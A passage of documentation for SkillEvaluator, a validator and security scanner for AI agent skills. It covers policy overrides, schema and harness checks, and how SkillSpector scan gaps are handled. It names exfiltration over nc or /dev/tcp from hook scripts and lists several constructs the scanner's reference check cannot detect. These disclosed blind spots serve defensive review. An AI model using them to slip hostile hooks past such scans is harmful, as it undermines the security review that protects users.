accepted author domain, set the `metadata.id` + requirement, and change severities by `CATEGORY.check_name` or `CATEGORY.*`: + + ```yaml title="policy.yaml" + profile: community-strict + identity: + author_email_regex: '<[^>]+@example\.org>' + metadata_id_requirement: recommend # ignore | recommend | require + severity_overrides: + SCHEMA.author_missing: critical + LICENSE.*: critical + ``` + + An `author_email_regex` needs an email address in that domain, so under it a + name without an email fails `SCHEMA.author_format`. An overlay that omits an + `identity` key keeps the base profile's value. An unrecognized + `metadata_id_requirement` value is an error, not a silent fallback. + + The author checks are `SCHEMA.author_missing`, `SCHEMA.author_without_email`, + and `SCHEMA.author_format`. The ID checks are `SCHEMA.metadata_id_missing`, + `SCHEMA.metadata_id_format`, and `SCHEMA.metadata_id_duplicate`. Their default + severities follow `metadata_id_requirement`: a missing ID is LOW under + `recommend` and HIGH under `require`; an invalid or duplicate ID is MEDIUM + unless the requirement is `require`. + + Severity overrides change how findings gate a run; they do not change the + quality score or waive its `--min-score` requirement. Even an override of + `QUALITY.*: info` leaves a below-minimum quality score failing. Nor do they + complete an `INCOMPLETE` scan, whose report keeps the error that says why. + + + + Contacts in the single-line `metadata.pic` and `metadata.email` fields of + the skill's own `SKILL.md` (the one at the root of the scanned skill) use the + separate `PII.ownership_emails` check. Both that check and ordinary + `PII.emails` findings remain **HIGH and blocking by default**. + + If your repository policy permits those ownership contacts, pass an explicit + policy file. The finding stays visible in the report as informational. + + ```yaml title="ownership-policy.yaml" + severity_overrides: + PII.ownership_emails: info + ``` + + ```bash + skillevaluator tier1 ./skills/my-skill --no-llm --policy ./ownership-policy.yaml + ``` + + Supported values are one address or `Name
` in valid YAML. The same + address in body text, a people directory, another metadata field, or another + file (including a `SKILL.md` nested in a subdirectory) still uses the ordinary + email policy. Ambiguous YAML, aliases, and block scalars also retain that + policy. Credential checks remain blocking. + + Keep this policy under repository-owner review; the scanner does not discover + or trust a policy from the skill automatically. Existing `PII.emails` overrides + apply to ordinary emails; use `PII.ownership_emails` explicitly for these contacts. + This option is available on `tier1`, `tier1 validate`, and `validate`. The + released reusable CI templates do not yet expose a custom-policy input. + + + + The active profile name is stamped into the HTML report header and JSON report, and printed in the run banner under `--verbose`, so reviewers can see which gate was applied. + + +## The checks + +For `validate`, the default set is `schema`, `version`, `security`, `pii`, `license`, `code-integrity`, `unicode`, `quality`, and `lint`. The `dependency` check requires explicit selection with `--checks` (alias `--tier1-checks`) for `validate`; direct `tier1 PATH` includes it by default. Accepted check-name aliases include `code`/`code-risk` for `code-integrity`, `scripts`/`script-lint` for `lint`, `dependencies`/`deps`/`dependency-audit` for `dependency`, and `licence`/`license-check` for `license`. + + + + Validates `SKILL.md` frontmatter and repository placement: + + - YAML frontmatter must parse and satisfy the skill schema. + - Frontmatter keys, including keys nested under `metadata`, must be strings. An unquoted key that YAML reads as a number, boolean, null, or date (`123`, `yes`, `null`, `2026-01-01`) is a HIGH finding that names the key in YAML form, such as `Field 'metadata.true': Keys should be strings`; quote the key (`"yes":`) to keep it. Rules, workflows, and plugin manifests report non-string keys as schema errors too. + - `name` and `description` are required. Names are 1–64 characters; descriptions are 1–1024 characters. + - Names use kebab-case, start with a letter, and cannot have trailing or consecutive hyphens. The directory name must match the frontmatter `name`. The reserved words `anthropic` and `claude` must not appear in a skill name. + - `alwaysApply` and `globs` are forbidden skill fields. Optional fields include `license`, `compatibility`, `metadata`, and `allowed-tools`. + - The standard hierarchy is `skills//` or `team-skills///`. A nonstandard standalone location is reported as an advisory finding. + - Recognized skill-root subdirectories are `agents/`, `references/`, `scripts/`, `assets/`, `evals/`, `tests/`, `tools/`, and `config/`; anything else gets a LOW advisory finding. Extend the set per repository with `SKILLEVALUATOR_SCHEMA_ALLOWED_DIRS` (comma-separated names are added to the defaults, never replace them). + - `SKILL.md` should stay at or below 500 lines; larger files receive an advisory finding. + - Harness portability: patterns the spec allows but common agent harnesses (Claude Code, Codex, OpenCode, OpenClaw, Hermes, Copilot CLI) load differently are reported; override any of them with `SCHEMA.` in the validation policy. + - A duplicate frontmatter key is HIGH (`duplicate_key`; several harnesses drop the skill), and a UTF-8 BOM is MEDIUM (`manifest_bom`). + - A description within 1,024 characters but over 1,024 UTF-16 units is MEDIUM (`description_utf16_length`), and no "Use when ..." trigger in the first 60 characters is LOW (`description_trigger`). + - A symlinked `SKILL.md` (`manifest_symlink`) or a `SKILL.md` nested inside the skill (`nested_manifest`) is MEDIUM. + - `manifest_size` is LOW above 32 KiB, MEDIUM above 50 KiB and HIGH above 256,000 bytes. + - Fields outside the spec are LOW (`unknown_field`). + - `metadata.author` is optional under the `default` profile. Use `Name ` to include a contact address, or a person, team, or organization name such as `NVIDIA cuOpt Team` or `Jane Doe (@jdoe)`. A value that is malformed or unsafe is a HIGH `author_format` finding: a bare email or an email outside `Name `, stray angle brackets, control, private-use, or bidirectional formatting characters (joiners such as ZWNJ and ZWJ, which Persian, Arabic and Devanagari names need, are accepted), no letters or digits, or more than 256 characters. A bare address counts even when its domain has no dot (`root@buildhost`), while a social handle such as `Jane Doe (@jdoe)` does not. The `registry` profile requires the `Name ` form. + - `metadata.id` is an optional stable skill ID. When present it must be an exact 1–64 character lowercase ASCII slug (`^[a-z0-9]+(-[a-z0-9]+)*$`, no surrounding whitespace); it may differ from `name`. A collection run reports an ID that more than one discovered skill declares; `validate` on a catalog also lists these in `catalog-summary.json` under `metadata_id_conflicts`. Under `registry` a shared ID blocks: the run exits nonzero, and each sharing skill's entry is `"passed": false` with the conflict repeated under `catalog_findings` and counted in its `severity_counts`. A catalog validates each skill on its own, so that skill's own report was written before the catalog-wide check ran and keeps its single-skill verdict, which the entry carries alongside as `report_verdict` beside `report_scope: "single_skill"`. Uniqueness is checked only across the skills validated together, never against a registry, and a single-skill run does not claim it. The ID does not change local catalog identity, which stays keyed by content type and relative path. + - `metadata.domain` accepts one category string or a list of them, such as `domain: [backend, ai-ml]`. Values are trimmed and deduplicated in order; a blank or null scalar means no domain. A list with more than 16 entries, or a non-string, blank, or over-128-character entry, is a HIGH `Field 'metadata.domain'` finding. The 128-character limit also applies to a single string. + + **To fix common findings:** rename the directory to match `name`, remove forbidden fields, and move the skill under `skills/`. + + + + This check requires the [GitHub source installation](/skills/skillevaluator/installation#install); it is not included in PyPI 0.9.0. + + The `harness` check reports, for each agent harness, whether the skill `loads`, is `degraded` (loads, but something is cut, hidden or ignored) or is `not_loaded`, with the rule IDs behind each verdict and the harness version and date the profile was verified against. Supported harnesses: `claude-code`, `codex`, `copilot-cli`, `hermes`, `openclaw`, `opencode`. All of this is static: no agent or model is run. See [Harness Check](/skills/skillevaluator/harness-check) for a walkthrough with example output. + + `validate` runs it by default for all six and lists its findings in the HTML, JSON and SARIF reports; JSON reports also get a `harness_compatibility` block. Use `--checks harness` to run it alone and `--harness codex,claude-code` to narrow the harnesses. + + The profiles ship with the package and come from repeated runs of each harness in which the request sent to the model was captured. The check doesn't change pass/fail: its findings are MEDIUM (`not_loaded`), LOW (`degraded`) or INFO (`advisory`), so it never fails a run unless a policy raises those severities. Install-location rules apply only when the skill sits under a harness root such as `.claude/skills` or `.agents/skills`. Use `--harness-profiles DIR` to try newer profile YAMLs without a release. + + `validate` also shows a "Harness compatibility" panel after Tier 1, `! harness` in the checks line when a harness drops or degrades the skill, a `harness` line in the Tier 1 summary (kept out of the advisories count) and a note in the result box. `skillevaluator harness-check ` runs only this check and shows the same panel, updated as each harness is checked. It accepts a folder of skills, `--harness`, `-v` and `--json PATH`, always exits 0, and points to `validate --tiers 1` when Tier 1 schema also fails. By default the panel is compact: one line per harness with its most serious finding (not loaded, then degraded, then note; ties go to the rule listed first in the profile) labelled with its outcome (`not found`, `rejected`, `listing shortened`, `delivery truncated` and so on), then `+N more` and the number of notes. `-v` (also on `validate`) lists every finding with its fix and each harness's verified version. + + Frontmatter rules: duplicate keys (Codex, Copilot CLI, OpenClaw and OpenCode drop the skill), tab indentation (Codex, Copilot CLI and OpenClaw), a UTF-8 BOM (Codex), no front matter (Copilot CLI), and long custom frontmatter that never reaches the model. + + Description rules: missing or empty descriptions, Claude Code and Codex listing cuts, Copilot CLI's 1,024 UTF-16 unit limit, quotes escaped in the Copilot CLI and OpenClaw lists, and Hermes's 60-character listing. `-v` also shows the description each harness puts in the model's skill list. + + Location rules: `SKILL.md` casing, nested manifests, symlinked manifests and resources, OpenClaw symlink escapes, Codex scan depth, and files Hermes leaves out of its file list (outside `references/`, `templates/`, `assets/` and `scripts/`). + + The check measures the skill together with the skills installed next to it. A single skill under a harness root such as `.claude/skills`, or in a workspace `skills/` folder, is counted with everything in that folder (symlinked skill folders included). Skills in different folders are separate installations, and a folder of skills is its own catalog. That drives the list-budget rules (Claude Code and Codex ~8,000 description chars, Copilot 32 full descriptions, OpenClaw 150 skills or 18,000 chars) and a duplicate-name rule per harness that says which copy wins. A `catalog` line in the panel names the folder. Copilot CLI and OpenCode also get an advisory note on when new or edited skills are picked up. + + Delivery rules: Claude Code's body cap, OpenCode's 51,200-byte / 2,000-line reads and lines over 2,000 characters, OpenClaw's whole-or-nothing read against its result caps, Hermes's 100,000-character `skill_view` budget, and Codex's ~10K-token cut when the model reads `SKILL.md` through the shell. + + Placeholder rules: `$ARGUMENTS` and `${CLAUDE_SKILL_DIR}` are substituted only by Claude Code, and price-like `$N` text is replaced with arguments by Claude Code and OpenCode. + + Invocation rules: `disable-model-invocation` (ignored by Codex, Hermes and OpenCode), Codex's `agents/openai.yaml` implicit-invocation policy (Codex only), `allowed-tools`, Claude Code-only fields, and Hermes project trust. + + Gate rules: Hermes `platforms` and OpenClaw `metadata.openclaw.requires` hide the skill on hosts that don't match. + + `harness-check` on a plugin folder also shows a plugin panel: which plugin formats each harness accepts (`.claude-plugin`, `.codex-plugin`, Copilot, Agent Plugins v1, Hermes `plugin.yaml`), and an empty plugin. + + Plugin component rules cover skill namespacing, Codex's plugin-skill cap and Agent Plugins hooks, Copilot CLI MCP server names, disabled plugins, and components a harness registers but doesn't deliver. + + `harness-check` takes the model setup some limits depend on: `--context-tokens`, `--custom-provider`, `--explicit-invocation` and `--headless`. + + Each rule records a confidence level and, where behaviour changed between releases, the versions it applies to (shown with `-v`). `--harness-version codex=0.170.0` adds a note when you run a release other than the one a profile was verified on. + + + + `security-scan`, and the `security` check inside `validate`, run SkillSpector. Static scanning covers common skill attack patterns such as prompt injection and data exfiltration; each finding carries the matched pattern, severity, and location. + + ```bash title="Security scanning" + skillevaluator security-scan ./my-skill + skillevaluator security-scan ./my-skill --llm + skillevaluator security-scan ./my-skill --llm --llm-verify + ``` + + The LLM pass requires a configured provider. It enriches the static result but does not replace static findings or make missing scanner evidence pass. + + SkillSpector's text pattern analyzers cannot read images, so it reports the analysis of a skill that references a PNG or JPEG file as `partial`. SkillEvaluator accepts that gap with a warning instead of `INCOMPLETE` only when the report shows no other gap apart from the missing references described next, and no fatal scope exclusion, and each referenced image is a regular, single-link (not hard-linked), non-executable file whose bytes have the chunk structure of a PNG or the marker structure of a JPEG and that is not reached through a symlink. The gap is accepted for at most 256 images and 128 MiB of image data in total. An image is never accepted inside a `hooks`, `scripts`, `tools`, `agents`, `commands`, `prompts`, `rules`, `team-rules` or `workflows` directory at any depth, or under a top-level `config`, `skills`, `.mcp`, `.agents`, `.claude`, `.codex`, `.continue`, `.cursor`, `.gemini` or `.windsurf` directory (names compared without regard to case). The structure check corroborates the file type; it does not decode the image or prove that it renders. PNG IDAT compressed data and ancillary chunks, and JPEG entropy-coded data and APPn or COM segments, are not inspected and can still carry other bytes. The image content itself is not assessed. Any other partial reason, except the missing references described next and the hooks described below, still leaves the scan `INCOMPLETE`. SkillSpector also reports a High `AE1` (incomplete referenced artifact analysis) finding for such an image; from v2.12.0 it omits that finding when the skill renders a PNG with Markdown image syntax, such as `![Logo](assets/logo.png)`. An `AE1` finding fails the check like any other High finding. + + SkillSpector also reports the analysis as `partial` when the skill's instructions name a file that it did not scan, such as a file the skill writes at run time (`output/notes.md`) or a source file elsewhere in the repository. SkillEvaluator accepts that gap with a warning instead of `INCOMPLETE` when each such reference meets all of these conditions: + + - It is a nonfatal `reference_resolution` row for one line of a file that the report lists once as a component and that is a regular, single-link file of at most 1,000,000 bytes inside the skill, not reached through a symlink. + - The report's complete `references` list records a `missing` reference on that line and quotes part of the line. Every `missing` entry must have an accepted ledger row at the same source path and line; an `ambiguous` entry anywhere, a truncation marker, or an unknown completeness field leaves the scan `INCOMPLETE`. + - The line, at most 10,000 characters long, names nothing in the skill that SkillSpector did not inspect: a symlink, a file the report does not list, a directory that holds no listed file, such as `versions/`, `node_modules/` or `evals/results/`, which SkillEvaluator leaves out of the scanned copy, anything inside such a directory, or a directory that holds any of these, even beside listed files. A `.git` directory counts by its own name, by its Git hooks other than `*.sample` templates, and by every other entry in it that is not part of Git's own layout, such as a script placed there, with everything inside that entry. Git's own files, such as `HEAD`, `config`, `index`, `packed-refs` or `ORIG_HEAD`, and what its `objects`, `refs`, `logs` and `info` directories hold, such as branch names, do not count. Names are compared without regard to case or Unicode normalization, in the line as written and as a Markdown renderer or a reader of file paths may read it: with backslash escapes of ASCII punctuation (such as `node\_modules`) removed, HTML character references (such as `v`) resolved and percent-escapes decoded, up to three of these steps in any order. A skill with more than 50,000 files and directories, or nested more than 64 directories deep, is not checked, and its scan stays `INCOMPLETE`. The work of checking a report's lines is also bounded: when it would take longer, such as for many long lines beside thousands of files left out of the scan, the scan stays `INCOMPLETE`. + - A word in the line that a shell, cmd.exe, PowerShell or Windows would expand or unquote is read as a pattern, and none of those names may match it. In the pattern, quotes and escapes are removed, a group such as `(v)` stands for what it holds, also right after `]` as in `[v](e)rsions`, each expansion, set of alternatives, extended glob or numeric range may stand for any text, and each bracket expression for any one character. The word is read as follows: + - The way POSIX shells read globs, brace and parameter expansions, `$(...)` and quotes (`v*/*.sh`, `vers?ons`, `v[e]rsions`, `v{e,x}rsions`, `$DIR/run.sh`, `ver""sions`). + - The way zsh reads groups (`(v)ersions`, `(v|x)ersions`), numeric ranges (`run<1-9>.sh`), the `EXTENDED_GLOB` operators `^`, `#` and `~` (`ver^x`, `verr#sions`, and `v*~x`, read as `v*`), where `x#` as a whole part, such as `C#`, matches only names made of `x`, and globbing flags such as `(#a2)` or `(#c1)`, which make the whole word stand for any text (`(#a2)virsions/x`). + - The way bash and ksh read extended globs (`@(v)ersions`, `!(x)`). + - The way cmd.exe reads the `^` escape (`ver^sions`), variables (`%DIR%`, `!DIR!`) and batch parameters (`%1`, `%~dp0`). + - The way PowerShell reads backtick escapes. + - With `\` as a directory separator (`v*\i*.sh`). + - With a Windows short (8.3) name or a Samba mangled name, a path part with text after a `~` such as `NODE_M~1/BOOTST~1.SH`, standing for any name that holds the part's first character, such as any name with an `n` for `NODE_M~1`. So `3~5` is read as written, as `3`, and as any name with a `3`. + - A span between backticks is read as Markdown code, as written and with its backticks removed, not as a command, so a plural written as `` `topic`s `` is read as `topics`. A leading Markdown `* ` list marker is ignored. + - A `$` before a space or the end of the line is read as a literal `$`, as a shell reads it, not as an expansion, so a shell prompt `$ python run.py` adds no pattern, and `sh *a$` matches only names that end in `a$`. + - A bold or italic label outside code, such as `**Note:**`, `*Tip:*` or `**Step 1:**`, is read as its text, and each of its words, with its `*`, as a pattern that is not split at `:`, `=` or `,`. So as a pattern, `**Note:**` matches only names that hold `note:`, and `**Step 1:**` only names that end in `step` or start with `1:`. A standalone shell wildcard elsewhere, such as `bash *`, still counts, and so does a label inside code. + - On a line with a space or shell delimiter between two of the same quote or after a backslash, as written or decoded as above, such as `setup' 'helper.sh`, `"hi there"` or `setup\ h*.sh`, a `$` before a space and a label are read like any other word, so they still stand for any text: a shell may join words there, which the check does not. A PowerShell backtick before a space does not count, as a backtick also ends Markdown code, so ``$ sh setup` h*.ps1`` does not name `setup helper.ps1`. A PowerShell backtick before a space does not count here: in ``**Note:** run setup` h*.ps1`` the label is read as its text, and ``setup` h*.ps1`` does not match a left-out `setup helper.ps1`, which PowerShell would run. + - Prose with this syntax is read the same way: a price such as `$5`, a list such as `{a,b}`, `%APPDATA%` or a lone `^` stands for any text, so a line with one stays `INCOMPLETE` whenever anything is left out of the scan, and `approx~10` stays `INCOMPLETE` when a name left out holds an `a`. + - The check reads names that are written in the reported line, in the spellings above. It does not read other lines and does not run commands, so it does not detect a name on another line, such as `DIR=node_modules` set on one line and used as `sh $DIR/run.sh` on the next, or a name that a command prints or builds, such as `printf` output in backticks, a list piped into `xargs sh`, `find -exec`, or a PowerShell string joined with `+`. Nor does it join words at a quoted or escaped space as a shell does, so `setup' 'helper.sh` or `setup\ h*.sh` does not name `setup helper.sh`. It is meant to keep an instruction that names a left-out file `INCOMPLETE`, not to catch a skill written to hide one. Without this check, such a skill passes whenever SkillSpector reports no missing reference in it; with it, the skill also passes when every line SkillSpector reports is another missing reference, such as `output/notes.md`. SkillSpector's own analyzers, not this check, assess the instructions it scanned. + - When the target is a single file, such as `skillevaluator security-scan path/to/SKILL.md`, SkillSpector scans that file alone, so every other file and directory beside it counts as not inspected. A line in it that names a file beside it, such as `scripts/install.sh`, keeps the scan `INCOMPLETE`. + - Tier 3 output in its default location, `/evals/results`, is left out of the scanned copy too, so it counts as not inspected. The rest of `evals/`, such as `evals/evals.json` and input fixtures in `evals/files`, is scanned. After a Tier 3 run, a line that names `results`, a file the run leaves there, such as `report.html` or `summary.json`, or, when the run used `--harbor-keep-jobs`, any bundled file (the kept Harbor tasks hold a copy of the skill) keeps the scan `INCOMPLETE`, although the same line passed before the run. Writing Tier 3 results outside the skill, with `--results-dir` or `SKILLEVALUATOR_RESULTS_DIR`, keeps a run from changing the result. + - The scan covers the whole target. When the target is a folder or a plugin that holds skills, such as `skillevaluator security-scan path/to/skills/`, `skillevaluator validate path/to/skills/` (which checks each skill as its own job) or `validate` on a plugin, each skill in it is scanned on its own, and a line may name a file elsewhere in the target that the skill's scan did not inspect, so those skills' missing references keep their scans `INCOMPLETE`, also when a skill in a folder is a plugin of its own. + + Every nonfatal scope exclusion must name an actual uninspected entry under the target. Accepted missing-reference warnings remain visible after the static and LLM stages deduplicate their findings, and after `--llm-verify` downgrades a finding. Any other gap must be a referenced image that SkillEvaluator accepts as described above, and the scan then carries both warnings. Without such images, the report must also show no partially or entirely uninspected file, no limitation and no fatal scope exclusion, and every analyzer must have completed or be not applicable or disabled. In either case the report must count as many findings after filtering as before it, and a `missing` reference without an accepted ledger row, an `ambiguous` reference or a truncation marker leaves the scan `INCOMPLETE` even when a referenced image is its only listed gap. The warning names the file and line of up to three of the references; it does not quote the referenced path. Files not in the scan, including any outside the scanned path, are not inspected. + + SkillSpector v2.12.0 to v2.13.3 report these references as `reference_missing`, and v2.10 and v2.11 as `reference_unresolved`, which SkillEvaluator accepts under the same conditions. A v2.13.3 report whose only gaps are such references is also accepted from the report alone as a missing-reference caveat: an INFO finding that keeps SkillSpector's `partial` status and is recorded as `skillspector_reference_caveats` in the JSON report. It replaces the warning above, and whenever the scan has a known target, as through `validate`, `tier1` or `security-scan`, it is accepted only when the conditions above hold too. A reference that matches several bundled files (`reference_unresolved` from v2.12.0, `ambiguous` in the `references` list before it) still leaves the scan `INCOMPLETE`. + + From v2.13.4, SkillSpector no longer reports such a scan as `partial`. When it inspected every bundled file and the only gaps are references to files the skill does not bundle, it reports the status `complete_with_caveats` and lists each reference as a caveat. SkillEvaluator accepts these caveats under the same conditions and shows the missing-reference warning above, and the findings of an accepted report are checked as in any other complete scan. A caveat on a path that is not a bundled file, or one that fails a condition above, such as a line that names a file left out of the scan, leaves the scan `INCOMPLETE`; as for a `partial` report, the report's findings are still checked and reported. Unlike a v2.13.3 caveat, these caveats are never accepted from the report alone, so they leave a scan without a known target `INCOMPLETE`, and an accepted report carries no `skillspector_reference_caveats` entry. SkillSpector gives this status only when every gap is a nonfatal `reference_missing` row, so a report with no caveat, or with a caveat that is not a nonfatal `reference_missing` row in phase `reference_resolution`, contradicts itself: SkillEvaluator does not trust it, and the scan is `INCOMPLETE` without its findings. The same holds for `complete_with_caveats` from a release before v2.13.4. + + SkillSpector v2.12.0 and later cannot model what an ordinary command or HTTP hook, such as one that runs `echo hi` or a bundled script, does with its hook input. The exception is a hook that SkillSpector recognizes as sending hook content to a remote host, which it reports as **BH2**; a manifest whose command and HTTP hooks are all of that kind counts as modeled. For other hooks it discovers in manifests such as `hooks/hooks.json` and `.claude/settings.json`, SkillSpector reports a **BH1** finding whose evidence says the payload is `unmodeled`, records a nonfatal `partial` `opaque_content` row from `bundled_execution_surface` on the manifest, and reports the analysis as `partial` although the scan finished. This rule applies only to manifests SkillSpector actually reports with that evidence and ledger row; it does not establish coverage for inline plugin-manifest hooks or other hook locations the scanner does not report. The scan's findings cannot show that such hooks are safe: a hook script that sends its input over a socket, `nc` or `/dev/tcp` gets no blocking SkillSpector finding. SkillEvaluator therefore reports the manifest as the Critical `skillspector_hook_payload_unverified`, with a gate failure that neither a `--policy` severity override nor `--llm-verify` clears, instead of `INCOMPLETE` (see [Troubleshooting](#troubleshooting)). This applies when the row is a whole-file row that names only `bundled_execution_surface` and no error class, on a manifest whose BH1 says `unmodeled` (also when a baseline suppresses that BH1), and the report accounts for it exactly: one such row per manifest, `bundled_execution_surface` degraded by exactly those rows with nothing failed or skipped, its `Analyzer bundled_execution_surface status: degraded.` limitation, and one partially inspected file for each manifest that no other row names. The rest of the report is then judged on its own: it is complete when it shows no other gap, and missing references and referenced images can still be accepted with their warnings as described above. The v2.13.3 missing-reference caveat that is accepted from the report alone does not apply, because that check reads the whole report, hook row included. Any other gap still records the SkillSpector scan as incomplete (`incomplete_scans` in the JSON report, and publication eligibility **Incomplete**), with an error that names the other rows, or the other gaps when no other row remains. The check itself is then reported as `FAIL`, not `INCOMPLETE`, because the Critical and its gate failure are a confirmed failure, which takes precedence over missing evidence, also when a `--policy` override lowers the Critical (see [Reading the final status](/skills/skillevaluator/reports#reading-the-final-status)). A row that does not fit, such as one for a manifest in which SkillSpector parsed no hook (no `unmodeled` BH1), or a report that does not account for it, leaves the whole scan `INCOMPLETE` as before. + + SkillSpector records the same row when it could not parse part of the manifest or read only its first 2,048 hook, permission and settings records. How much of that SkillEvaluator can see depends on the release: + + - v2.13.4 reports `observed_records` and `limit_records` on the row. SkillEvaluator accepts the row only when `observed_records` equals the BH1 `declaration_count` and does not exceed `limit_records`. A manifest with more records than SkillSpector reads, or with a hook handler it counted but could not parse, therefore stays `INCOMPLETE`. So does a settings file with permission rules, `env` or other settings beside its hooks, because SkillSpector counts those records too. A part it does not count, such as a hook group that is not an object, is not visible and gets the Critical. + - v2.13.3 does not report them. SkillEvaluator then refuses only a BH1 that counts 2,048 or more declarations, because SkillSpector may have cut that manifest short. A manifest that SkillSpector parsed only in part, such as one with a malformed handler beside a valid one, gets the same Critical as a manifest it read in full, and still fails. + + **Incomplete referenced artifacts.** SkillSpector reports a High **Incomplete referenced artifact analysis (AE1)** finding at each line that names a file it did not completely inspect. Releases before v2.12.0 leave the finding's name empty, so SkillEvaluator names it by its rule instead of `Unknown (AE1)`. A `severity_overrides` entry for these findings uses `SECURITY.Incomplete referenced artifact analysis (AE1)`; one keyed on `SECURITY.Unknown (AE1)` no longer matches. The finding's suggestion names the file, its disposition (`partial`, `failed`, `out_of_scope` or `uninspected`) and each reason SkillSpector gives: the reason code, such as `static_parse_limit` or `read_error`, the analyzers, the line in the file, the message and any limits, such as `limit_characters=8000`. The suggestion is part of the finding's `finding_id`, so it leaves out the run time and the time budget (`observed_seconds`, `limit_seconds`), which differ from run to run; the metadata keeps them. Reasons that differ only in the analyzer, the run time or the time budget are listed once. SkillSpector's own remedy is kept. Releases before v2.12.0 give no reasons in the finding and a generic remedy that says to make the file available: SkillEvaluator then reads the reasons from the report's `analysis_completeness` rows for that file and gives a remedy for a parse limit, a read error, or any other reason. Without such a row the finding keeps SkillSpector's text. The finding's metadata records the file, its disposition and up to 16 reasons under `skillspector_evidence`, with `reasons_truncated` when SkillSpector gave more, and up to 128 reference lines under `skillspector_occurrences`. In a folder of skills each reference line's `file` starts with the skill's `[name]` prefix, like the finding's own path, and `target_path` stays relative to that skill. Text with control characters is left out, credential-shaped text is masked, and a path outside the scanned target is dropped. + + When the check fails, the terminal output, the `references` row of the terminal summary, and the Markdown and HTML reports add one line, such as `skillspector could not completely inspect 1 referenced artifact(s) across 2 reference occurrence(s); each AE1 finding names the artifact and any reasons SkillSpector gave`. The HTML and Markdown reports that the CI workflow renders again from the JSON report show the same line. The JSON report records the counts for every result, passed or failed, in `skillspector_reference_summary`: `affected_artifacts`, `reference_occurrences`, and `reference_occurrences_truncated`, which is `true` when SkillSpector listed more than 128 lines for one finding, so the count is a lower bound. For a folder of skills the counts are totals. None of this changes the finding's severity or whether the scan is complete. A gate changes only where a policy lowered `SECURITY.Unknown (AE1)` and that was what let the check pass. + + **Agent control paths.** SkillSpector rules describe attacks on an agent, so a match is an agent threat only in a file the agent reads or runs. When `validate` or `tier1` detects a skill, rules, workflows, or plugin artifact, the `security` check keeps findings on agent control paths and suppresses the rest: + + | File role | Tier 1 finding | Examples | + | --- | --- | --- | + | Agent instruction | Kept | `SKILL.md`, `AGENTS.md`, `*.mdc`, `commands/`, `prompts/`, `rules/`, `workflows/`, plugin `output-styles/` | + | Agent reference | Kept | `references/`, `templates/`, non-image `assets/`, other data and code files at the artifact root | + | Agent executable | Kept | `scripts/`, `tools/`, `hooks/`, plugin `.lsp.json` and `monitors/monitors.json`, and any file SkillSpector marks executable (for example `.py`, `.sh`, `.js`, `.tsx`) | + | Agent configuration | Kept | top-level `config/`, `.claude/`, `.codex/`, `.cursor/`, and other agent settings directories, plugin `.app.json` | + | MCP and plugin manifests | Kept | `.mcp.json`, `mcp.yaml`, `agent_plugin.yaml`, `plugin.json` in `.claude-plugin/`, `.codex-plugin/`, or `.cursor-plugin/` | + | Referenced file | Kept | any file a kept file names by path, by file name alone (`helper.md` for `lib/helper.md`), by skill or plugin root variable, or by import, followed transitively | + | Ordinary file | Suppressed | source and UI files that SkillSpector does not mark executable (such as `.html`, CSS, `.vue`, and `.cpp`), test fixtures, `docs/` and `.rst` documents, notebooks, images, lockfiles, repository metadata (`.github/workflows/`, `.gitignore`, and top-level dotfiles that are not agent files, such as `.env`), other data | + + SkillSpector marks source files executable wherever they are, including test suites under `tests/` and UI code under `web/`. Current releases (v2.12.0 and later) cover `.py`, `.js`, `.ts`, `.tsx`, `.jsx`, `.mjs`, `.cjs`, `.mts`, `.cts`, `.svg`, `.php`, `.class`, and `.wasm`. Those files are agent executables and seed the reference walk, so their findings stay blocking, and so do the findings of any fixture or other file they name. + + The reference walk recognizes these forms, without regard to case: + + - A path relative to the artifact or to the referring file, such as `docs/guide.md`, `./docs/guide.md`, `../lib/helper.py`, or `docs\guide.md`. + - A path behind a skill or plugin root: `${CLAUDE_SKILL_DIR}/`, `$SKILL_DIR/`, `$SKILL_ROOT/`, and `${CLAUDE_PLUGIN_ROOT}/`, in shell, PowerShell (`$env:NAME`), and cmd (`%NAME%`) forms, and a skill-directory placeholder whose name contains `skill` or `base`, such as `{baseDir}/`, `{{skill_dir}}/`, or `/`. + - A path with a directory behind any other prefix, such as an install location (`~/.claude/skills/demo/docs/guide.md`), a root-relative path (`/docs/guide.md`), or another placeholder (`/docs/guide.md`). A top-level file behind a prefix counts when the prefix ends with the artifact's directory name (`~/.claude/skills/demo/README.md` for a skill in `demo/`). + - A bare file name of a nested file, a directory name for every file under it, and Python and JavaScript imports, including `-m` module forms. In Markdown and other prose, a top-level directory name counts only with a slash, a `./` prefix, in quotes or backticks (`docs/`, `./docs`, `` `docs` ``), or as a word or glob inside a code span or fenced block, because the bare word also appears in ordinary prose such as "build a web page from the docs". In scripts and other code, including any file SkillSpector marks executable, a bare directory name also counts, because commands such as `find policies -type f` and `cd policies` take it as an argument. + + SkillSpector can report identical matches from several files as one issue: `location` names one of the files and `occurrences` lists all of them. Such an issue is suppressed only when every file in it is outside agent control paths. If any occurrence is on a control path or in a referenced file, the issue is kept with that file's role. + + A single-file target, such as one rules file, is always an agent control path. Supply-chain findings (`SC*`), YARA malware, webshell, and cryptominer signatures (`YR1`–`YR3`), and artifact-integrity findings for content that does not match its extension or a text file with embedded NUL bytes (`AE2`, `AE3`) are kept on every path because they describe what the artifact ships. A file named as a raster image (`.png`, `.jpg`, `.gif`, `.webp`, `.ico`, `.avif`) is treated as an image only when its content starts with an image signature; otherwise its findings are kept with file role `unverified_image`. Suppressed issues no longer count toward the aggregate SkillSpector risk-score gate. The terminal summary shows a `filtered` row, and the JSON report records a per-result `skillspector_applicability` block with the kept and suppressed counts, the suppressed counts by file role, and the raw and applicable risk scores. Kept findings carry `artifact_type`, `file_role`, and `applicability` metadata. + + Classification fails closed when it cannot place a finding or finish the reference walk: + + - An issue keeps its finding when a location or occurrence is missing, outside the artifact, or reached through an escaping symlink, or when its `occurrences` field is malformed. + - Every finding is kept when the report serializes fewer occurrence records than its `analysis_completeness.findings_after_filtering` count, because the unserialized findings have no location. + - Every finding is kept when the walk meets a symlinked directory, a file it cannot read as text, or a plugin manifest it cannot load, such as one with an invalid YAML date. Verified raster images and fonts are the exception, because they hold no path text. A PDF, Office document, or other binary file in a control location, such as `assets/guide.pdf`, therefore keeps the unrestricted scan for that skill. + - Every finding is kept when the walk exceeds a budget: a file it reads is over 1 MB, it reads more than 5 MB or 1,000 files, the artifact has more than 10,000 files, or it needs too many reference comparisons. Very large skills can therefore keep the unrestricted scan. + + The walk recognizes references written as text. A file that a control file reaches only through a path it builds at run time, such as `"web/" + name`, is not followed. Neither is a top-level file named behind a prefix that is not a recognized root variable or placeholder and does not end with the artifact's directory name, such as `/README.md` or an install directory with a different name. Top-level files are agent references whether or not they are named, except READMEs, `.rst` documents, dotfiles 